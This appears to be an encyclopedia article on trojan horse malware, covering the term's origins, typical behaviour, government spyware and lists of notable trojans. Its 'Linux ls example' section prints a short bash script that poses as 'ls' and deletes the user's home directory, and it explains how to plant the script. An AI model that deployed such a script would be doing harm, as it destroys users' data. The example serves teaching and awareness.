Trojan horse (computing)

Type of malware

This article is about the type of malware. For the wooden horse in Greek mythology, see Trojan Horse. For other uses, see Trojan Horse (disambiguation).

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In computing, a trojan horse (or simply trojan;[1] often capitalized,[2] but see below) is a kind of malware that misleads users as to its true intent by disguising itself as a normal program.

Trojans are generally spread by some form of social engineering. For example, a user may be duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or into clicking on a fake advertisement on the Internet. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected device.[3] Ransomware attacks are often carried out using a trojan.

Unlike computer viruses and worms, trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.[4]

## Origins of the term

[edit]

The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.[2]

It is unclear where and when the computing concept, and this term for it, originated; but by 1971 the first Unix manual assumed its readers knew both.[5]

Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.[6]

The term "Trojan horse" was popularized by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust",[7] subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of trojans from a report on the security of Multics.[8][9]

### Capitalization

[edit]

The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized, especially in older sources. However, many modern style guides[10] and dictionaries[1] suggest a lower-case "trojan" for this technical use.

## Behavior

[edit]

Once installed, trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the trojan, using it as a proxy for malicious action.[11]

In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically used to intercept communications from the target device. Some countries like Switzerland and Germany have a legal framework governing the use of such software.[12][13] Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer[14] and the German "state trojan" nicknamed R2D2.[12] German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.[15]

Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them.[16] BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a trojan infection.[17]

Recent investigations have revealed that the trojan-horse method has been used as an attack on cloud computing systems. A trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.[18]

## Linux ls example

[edit]

A trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security.[19] One simple example[20] is the following malicious version of the Linux ls command. An attacker would place this executable script in a publicly writable and "high-traffic" location (e.g., `/tmp/ls`). Then, any victim who tried to run `ls` from that directory — if and only if the victim's executable search `PATH` unwisely[20] included the current directory `.` — would execute `/tmp/ls` instead of `/usr/bin/ls`, and have their home directory deleted.

#!/usr/bin/env bash
rm -rf ~ 2>/dev/null # Remove the user's home directory, then remove self.
rm $0

Similar scripts could hijack other common commands; for example, a script purporting to be the sudo command (which prompts for the user's password) could instead mail that password to the attacker.[19]

In these examples, the malicious program imitates the name of a well-known useful program, rather than pretending to be a novel and unfamiliar (but harmless) program. As such, these examples also resemble typosquatting and supply chain attacks.

## Notable examples

[edit]

### Private and governmental

[edit]

* ANOM – FBI
* 0zapftis / r2d2 StaatsTrojaner – DigiTask
* FinFisher – Lench IT solutions / Gamma International
* DaVinci / Galileo RCS – HackingTeam
* Magic Lantern – FBI
* SUNBURST – SVR/Cozy Bear (suspected)
* TAO QUANTUM/FOXACID – NSA
* WARRIOR PRIDE – GCHQ

### Publicly available

[edit]

* EGABTR – late 1980s
* Netbus – 1998 (published)[21]
* Sub7 by Mobman – 1999 (published)
* Back Orifice – 1998 (published)
* Y3K by Tselentis brothers – 2000 (published)
* Beast – 2002 (published)
* Bifrost Trojan – 2004 (published)
* DarkComet – 2008-2012 (published)
* Blackhole exploit kit – 2012 (published)
* Gh0st RAT – 2009 (published)
* MegaPanzer BundesTrojaner – 2009 (published)[22][23]
* MEMZ by Leurak – 2016 (published)

### Detected by security researchers

[edit]

* Twelve Tricks – 1990
* Clickbot.A – 2006 (discovered)
* Zeus – 2007 (discovered)
* Flashback Trojan – 2011 (discovered)
* ZeroAccess – 2011 (discovered)
* Koobface – 2008 (discovered)
* Vundo – 2009 (discovered)
* Coreflood – 2010 (discovered)
* Tiny Banker Trojan – 2012 (discovered)
* Wirelurker \- 2014 (discovered)
* Shedun (Android malware) – 2015 (discovered)[24][25][26][27][28][29]

## See also

[edit]

* Computer security – Protection of computer systems from information disclosure, theft or damage
* Cuckoo's egg (metaphor) – Metaphor for brood parasitism
* Cyber spying – Obtaining secrets using the InternetPages displaying short descriptions of redirect targets
* Dancing pigs – Users' disregard for IT security
* Exploit (computer security) – Method of attack on computer systems
* Industrial espionage – Use of espionage for commercial purposes rather than security
* Hardware Trojan – Malware embedded in hardware; harder to detect and fix than software vulnerabilities
* Phishing – Form of social engineering
* Principle of least privilege – Security by granting only essential access
* Privacy-invasive software – Malware that collects and transmits user information without their knowledgePages displaying short descriptions of redirect targets
* Remote administration – Control & use of a computer from remote location
* Remote administration software – Desktop run remotely from local devicePages displaying short descriptions of redirect targets
* Reverse connection – Network connection type ypass firewall restrictions on open ports
* Rogue security software – Form of malicious software
* Scammers – Attempt to defraud a person or groupPages displaying short descriptions of redirect targets
* Technical support scam – Type of fraud and confidence trick
* Timeline of computer viruses and worms – Computer malware timeline
* Zombie (computer science) – Compromised computer used for malicious tasks on a networkPages displaying short descriptions of redirect targets

## References

[edit]

1. ^ a b "trojan". Collins Advanced Dictionary. Retrieved March 29, 2020.
2. ^ a b Michael Gregg (2015). "Backdoors and Trojans". The Network Security Test Lab: A Step-by-Step Guide. Wiley. pp. 338–340\. ISBN 978-1-118-98705-6. Retrieved March 29, 2020. "Unlike a virus or worm, Trojans cannot spread themselves."
3. ^ "Difference between viruses, worms, and trojans". Symantec Security Center. Broadcom Inc. Archived from the original on August 19, 2013. Retrieved March 29, 2020.
4. ^ "VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00 (Question B3: What is a Trojan Horse?)". October 9, 1995. Archived from the original on August 5, 2020. Retrieved September 16, 2019.
5. ^ Thompson, Ken; Ritchie, Dennis M. "Unix Programmer's Manual, November 3, 1971" (PDF). p. 5. Retrieved March 28, 2020. "Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other's files."
6. ^ Paul A. Karger; Roger R. Schell (June 1974). "Multics Security Evaluation: Vulnerability Analysis, ESD-TR-74-193" (PDF). HQ Electronic Systems Division: Hanscom AFB, MA. 2. 4.2.1. Archived from the original (PDF) on July 9, 2011. Retrieved December 24, 2017. "...some sort of protection from user written applications programs that may contain "Trojan Horses" [sic]"
7. ^ Ken Thompson (1984). "Reflection on Trusting Trust". Communications of the ACM. 27 (8): 761–763\. doi:10.1145/358198.358210.
8. ^ Paul A. Karger; Roger R. Schell (2002). "Thirty Years Later: Lessons from the Multics Security Evaluation" (PDF). ACSAC: 119–126.
9. ^ Karger and Schell wrote that Thompson added this reference in a later version of his Turing conference speech: Ken Thompson (November 1989), "On Trusting Trust.", Unix Review, 7 (11): 70–74
10. ^ "trojan horse". Microsoft Style Guide. Microsoft. Retrieved March 29, 2020.
11. ^ Jamie Crapanzano (2003). Deconstructing SubSeven, the Trojan Horse of Choice (Report). SANS Institute. Retrieved May 10, 2021.
12. ^ a b Basil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
13. ^ "Häufig gestellte Fragen (Frequently Asked Questions)". Federal Department of Justice and Police. Archived from the original on May 6, 2013.
14. ^ Dunn, John (August 27, 2009). "Swiss coder publicises government spy Trojan". TechWorld. Archived from the original on January 26, 2014. Retrieved January 10, 2021.
15. ^ "German federal police use trojan virus to evade phone encryption". DW. Retrieved April 14, 2018.
16. ^ "BitDefender Malware and Spam Survey finds E-Threats Adapting to Online Behavioral Trends". BitDefender. August 3, 2009. Archived from the original on August 8, 2009. Retrieved March 27, 2020.
17. ^ Ganesh Datta (August 7, 2014). "What are Trojans?". SecurAid. Archived from the original on August 12, 2014. Retrieved March 27, 2020.
18. ^ Kanaker, Hasan; Karim, Nader Abdel; Awwad, Samer A. B.; Ismail, Nurul H. A.; Zraqou, Jamal; Ali, Abdulla M. F. Al (December 20, 2022). "Trojan Horse Infection Detection in Cloud Based Environment Using Machine Learning". International Journal of Interactive Mobile Technologies. 16 (24): 81–106\. doi:10.3991/ijim.v16i24.35763. ISSN 1865-7923.
19. ^ a b Patrick H. Wood; Stephen G. Kochan (1985). UNIX System Security. Hayden Books. pp. 42–43\. ISBN 0-8104-6267-2.
20. ^ a b "What's wrong with having '.' in your $PATH?". CETS Answers. University of Pennsylvania Computing and Educational Technology Services. Retrieved November 28, 2023.
21. ^ Seth Kulakow (2001). NetBus 2.1: Is It Still a Trojan Horse or an Actual Valid Remote Control Administration Tool? (Report). SANS Institute. Retrieved May 10, 2021.`{{cite report}}`: CS1 maint: url-status (link)
22. ^ orbitalsatelite (September 21, 2016). "Mega-Panzer". SourceForge.
23. ^ orbitalsatelite (September 18, 2016). "Mini-Panzer". SourceForge.
24. ^ "Trojanized Adware Family Abuses Accessibility Service". Lookout.com. November 19, 2015.
25. ^ Dave Neal (November 20, 2015). "Shedun trojan adware is hitting the Android Accessibility Service". The Inquirer. Incisive Business Media. Archived from the original on November 22, 2015. Retrieved March 27, 2020.
26. ^ Michael Bentley. "Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire". blog.lookout.com. Archived from the original on February 19, 2017. Retrieved April 8, 2016.
27. ^ "Shuanet, ShiftyBug and Shedun malware could auto-root your Android". November 5, 2015.
28. ^ Times, Tech (November 9, 2015). "New Family of Android Malware Virtually Impossible To Remove: Say Hello To Shedun, Shuanet And ShiftyBug".
29. ^ "Android adware can install itself even when users explicitly reject it". November 19, 2015.

## Notes

[edit]

## External links

[edit]

* Media related to Trojan horse (malware) at Wikimedia Commons
* "CERT Advisory CA-1999-02 Trojan Horses" (PDF). Carnegie Mellon University Software Engineering Institute. Archived from the original on October 17, 2000. Retrieved September 15, 2019.

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